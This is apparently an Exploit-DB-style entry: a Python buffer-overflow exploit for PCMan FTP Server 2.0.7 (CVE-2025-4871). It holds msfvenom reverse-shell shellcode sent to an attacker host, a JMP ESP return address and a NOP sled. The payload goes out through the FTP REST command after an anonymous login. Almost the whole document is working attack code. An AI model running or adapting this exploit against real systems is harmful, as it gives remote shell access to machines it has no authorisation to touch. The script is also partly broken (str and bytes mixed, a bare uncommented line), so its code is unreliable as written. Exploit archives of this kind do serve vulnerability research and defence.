PC Man FTP Server 2.0.7 Buffer Overflow

# Exploit Title: PCMan FTP Server 2.0.7 - Buffer Overflow
    # Google Dork: [if applicable]
    # Date: 05/18/2025
    # Exploit Author: Thiago Cunha - A.K.A. Blu3B3@rd
    # Vendor Homepage: http://pcman.openfoundry.org/
    # Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
    # Version: 2.0.7
    # Tested on: Windows XP Professional, Service Pack 2 and Service Pack 3
    # CVE : CVE-2025-4871
    
    import socket
    import time
    
    # The command to generate shellcode
    # msfvenom -p windows/shell_reverse_tcp lhost=192.168.0.2 lport=4444 EXITFUNC=thread -b '\x00\x0a\x0d' -a x86 --platform Windows -f python
    # Version 5.1 (Build 2600.xpsp.080413-3111 : Service Pack 2)
    # Tested on Windows XP 2 and 3 English
    
    buf = ""
    buf += "\xbd\xcc\x95\x24\x8c\xda\xdb\xd9\x74\x24\xf4\x5a\x33\xc9"
    buf += "\xb1\x52\x31\x6a\x12\x83\xc2\x04\x03\xa6\x9b\xc6\x79\xca"
    buf += "\x4c\x84\x82\x32\x8d\xe9\x0b\xd7\xbc\x29\x6f\x9c\xef\x99"
    buf += "\xfb\xf0\x03\x51\xa9\xe0\x90\x17\x66\x07\x10\x9d\x50\x26"
    buf += "\xa1\x8e\xa1\x29\x21\xcd\xf5\x89\x18\x1e\x08\xc8\x5d\x43"
    buf += "\xe1\x98\x36\x0f\x54\x0c\x32\x45\x65\xa7\x08\x4b\xed\x54"
    buf += "\xd8\x6a\xdc\xcb\x52\x35\xfe\xea\xb7\x4d\xb7\xf4\xd4\x68"
    buf += "\x01\x8f\x2f\x06\x90\x59\x7e\xe7\x3f\xa4\x4e\x1a\x41\xe1"
    buf += "\x69\xc5\x34\x1b\x8a\x78\x4f\xd8\xf0\xa6\xda\xfa\x53\x2c"
    buf += "\x7c\x26\x65\xe1\x1b\xad\x69\x4e\x6f\xe9\x6d\x51\xbc\x82"
    buf += "\x8a\xda\x43\x44\x1b\x98\x67\x40\x47\x7a\x09\xd1\x2d\x2d"
    buf += "\x36\x01\x8e\x92\x92\x4a\x23\xc6\xae\x11\x2c\x2b\x83\xa9"
    buf += "\xac\x23\x94\xda\x9e\xec\x0e\x74\x93\x65\x89\x83\xd4\x5f"
    buf += "\x6d\x1b\x2b\x60\x8e\x32\xe8\x34\xde\x2c\xd9\x34\xb5\xac"
    buf += "\xe6\xe0\x1a\xfc\x48\x5b\xdb\xac\x28\x0b\xb3\xa6\xa6\x74"
    buf += "\xa3\xc9\x6c\x1d\x4e\x30\xe7\xe2\x27\x8a\x7f\x8a\x35\xea"
    buf += "\x6e\x17\xb3\x0c\xfa\xb7\x95\x87\x93\x2e\xbc\x53\x05\xae"
    buf += "\x6a\x1e\x05\x24\x99\xdf\xc8\xcd\xd4\xf3\xbd\x3d\xa3\xa9"
    buf += "\x68\x41\x19\xc5\xf7\xd0\xc6\x15\x71\xc9\x50\x42\xd6\x3f"
    buf += "\xa9\x06\xca\x66\x03\x34\x17\xfe\x6c\xfc\xcc\xc3\x73\xfd"
    buf += "\x81\x78\x50\xed\x5f\x80\xdc\x59\x30\xd7\x8a\x37\xf6\x81"
    buf += "\x7c\xe1\xa0\x7e\xd7\x65\x34\x4d\xe8\xf3\x39\x98\x9e\x1b"
    buf += "\x8b\x75\xe7\x24\x24\x12\xef\x5d\x58\x82\x10\xb4\xd8\xa2"
    buf += "\xf2\x1c\x15\x4b\xab\xf5\x94\x16\x4c\x20\xda\x2e\xcf\xc0"
    buf += "\xa3\xd4\xcf\xa1\xa6\x91\x57\x5a\xdb\x8a\x3d\x5c\x48\xaa"
    buf += "\x17"
    
    # The target and port
    target_ip = "192.168.0.5"
    target_port = 21
    
    # Exploit estructed
    offset = b"A" * 2006
    eip = b"\xd9\x2f\xe3\x74"  # JMP ESP
    nops = b"\x90" * 20        # Sled NOP
    payload = offset + eip + nops + buf
    
    # Connect to target
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target_ip, target_port))
        print(f"[+] Conectado a {target_ip}:{target_port}")
    except Exception as e:
        print(f"[-] Error to connect: {e}")
        exit(1)
    
    # Receive banner
    banner = sock.recv(1024)
    print(banner.decode(errors='ignore'))
    
    # Send user
    sock.sendall(b"USER anonymous\r\n")
    print(sock.recv(1024).decode(errors='ignore'))
    time.sleep(1)
    
    #Send pass
    sock.sendall(b"PASS anonymous\r\n")
    print(sock.recv(1024).decode(errors='ignore'))
    time.sleep(1)
    
    # Send payload to exploiting buffer Overflow
    exploit_command = b"REST " + payload + b"\r\n"
    sock.sendall(exploit_command)
    print(sock.recv(1024).decode(errors='ignore'))
    time.sleep(1)
    
    Close Connection
    sock.close()
    print("[+] Conexão encerrada.")